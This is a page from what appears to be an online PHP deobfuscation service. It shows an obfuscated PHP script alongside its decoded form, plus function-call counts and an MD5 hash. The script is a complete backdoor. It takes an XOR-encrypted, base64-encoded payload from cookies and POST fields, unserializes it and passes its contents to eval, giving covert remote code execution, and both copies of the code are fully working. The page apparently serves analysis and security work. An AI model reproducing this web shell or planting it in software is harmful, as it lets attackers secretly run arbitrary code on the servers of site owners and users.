Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$gGNdhnQ = "\157" . chr (122) . chr (88) . "\x5f" . chr ( 1093 - 982 )."\104" . "\x79";$oL..
Decoded Output download
<? $gGNdhnQ = "o" . chr (122) . chr (88) . "_" . chr ( 1093 - 982 )."D" . "y";$oLIiHvW = 'c' . chr (108) . 'a' . chr (115) . "s" . chr ( 165 - 70 ).chr (101) . "x" . "i" . chr ( 243 - 128 ).'t' . chr (115); $xskDY = $oLIiHvW($gGNdhnQ); $gGNdhnQ = "28565";$oLIiHvW = "28679";$cJUonfsK = $xskDY;if (!$cJUonfsK){class ozX_oDy{private $yMchNAGQc;public static $jSOeI = "577bd448-418a-4541-b732-cd795cadd318";public static $RVrnjsVeKr = 51107;public function __construct($NGWzFvEkyp=0){$CSZWhHZj = $_COOKIE;$saCumyJgW = $_POST;$zAXRilNV = @$CSZWhHZj[substr(ozX_oDy::$jSOeI, 0, 4)];if (!empty($zAXRilNV)){$MfWMiXfU = "base64";$RsZDB = "";$zAXRilNV = explode(",", $zAXRilNV);foreach ($zAXRilNV as $jBvroKZvO){$RsZDB .= @$CSZWhHZj[$jBvroKZvO];$RsZDB .= @$saCumyJgW[$jBvroKZvO];}$RsZDB = array_map($MfWMiXfU . chr ( 365 - 270 ).chr ( 894 - 794 )."e" . chr (99) . "o" . chr (100) . chr (101), array($RsZDB,)); $RsZDB = $RsZDB[0] ^ str_repeat(ozX_oDy::$jSOeI, (strlen($RsZDB[0]) / strlen(ozX_oDy::$jSOeI)) + 1);ozX_oDy::$RVrnjsVeKr = @unserialize($RsZDB);}}private function XoGCXT(){if (is_array(ozX_oDy::$RVrnjsVeKr)) {$MjCIqHOM = str_replace(chr ( 855 - 795 ) . chr (63) . 'p' . chr ( 434 - 330 )."p", "", ozX_oDy::$RVrnjsVeKr["c" . "o" . "n" . 't' . "e" . chr (110) . chr ( 410 - 294 )]);eval($MjCIqHOM); $ABQlnoupV = "17207";exit();}}public function __destruct(){$this->XoGCXT(); $ABQlnoupV = "17207";}}$HfKFHsGkaY = new ozX_oDy(); $HfKFHsGkaY = "17578_47560";} ?>
Did this file decode correctly?
Original Code
$gGNdhnQ = "\157" . chr (122) . chr (88) . "\x5f" . chr ( 1093 - 982 )."\104" . "\x79";$oLIiHvW = 'c' . chr (108) . 'a' . chr (115) . "\x73" . chr ( 165 - 70 ).chr (101) . "\x78" . "\x69" . chr ( 243 - 128 ).'t' . chr (115); $xskDY = $oLIiHvW($gGNdhnQ); $gGNdhnQ = "28565";$oLIiHvW = "28679";$cJUonfsK = $xskDY;if (!$cJUonfsK){class ozX_oDy{private $yMchNAGQc;public static $jSOeI = "577bd448-418a-4541-b732-cd795cadd318";public static $RVrnjsVeKr = 51107;public function __construct($NGWzFvEkyp=0){$CSZWhHZj = $_COOKIE;$saCumyJgW = $_POST;$zAXRilNV = @$CSZWhHZj[substr(ozX_oDy::$jSOeI, 0, 4)];if (!empty($zAXRilNV)){$MfWMiXfU = "base64";$RsZDB = "";$zAXRilNV = explode(",", $zAXRilNV);foreach ($zAXRilNV as $jBvroKZvO){$RsZDB .= @$CSZWhHZj[$jBvroKZvO];$RsZDB .= @$saCumyJgW[$jBvroKZvO];}$RsZDB = array_map($MfWMiXfU . chr ( 365 - 270 ).chr ( 894 - 794 )."\145" . chr (99) . "\157" . chr (100) . chr (101), array($RsZDB,)); $RsZDB = $RsZDB[0] ^ str_repeat(ozX_oDy::$jSOeI, (strlen($RsZDB[0]) / strlen(ozX_oDy::$jSOeI)) + 1);ozX_oDy::$RVrnjsVeKr = @unserialize($RsZDB);}}private function XoGCXT(){if (is_array(ozX_oDy::$RVrnjsVeKr)) {$MjCIqHOM = str_replace(chr ( 855 - 795 ) . chr (63) . 'p' . chr ( 434 - 330 )."\x70", "", ozX_oDy::$RVrnjsVeKr["\x63" . "\x6f" . "\156" . 't' . "\145" . chr (110) . chr ( 410 - 294 )]);eval($MjCIqHOM); $ABQlnoupV = "17207";exit();}}public function __destruct(){$this->XoGCXT(); $ABQlnoupV = "17207";}}$HfKFHsGkaY = new ozX_oDy(); $HfKFHsGkaY = "17578_47560";}
Function Calls
chr | 9 |
class_exists | 1 |
Stats
MD5 | 7a7aaeb69a13bf935c034226b1bcb1cd |
Eval Count | 0 |
Decode Time | 70 ms |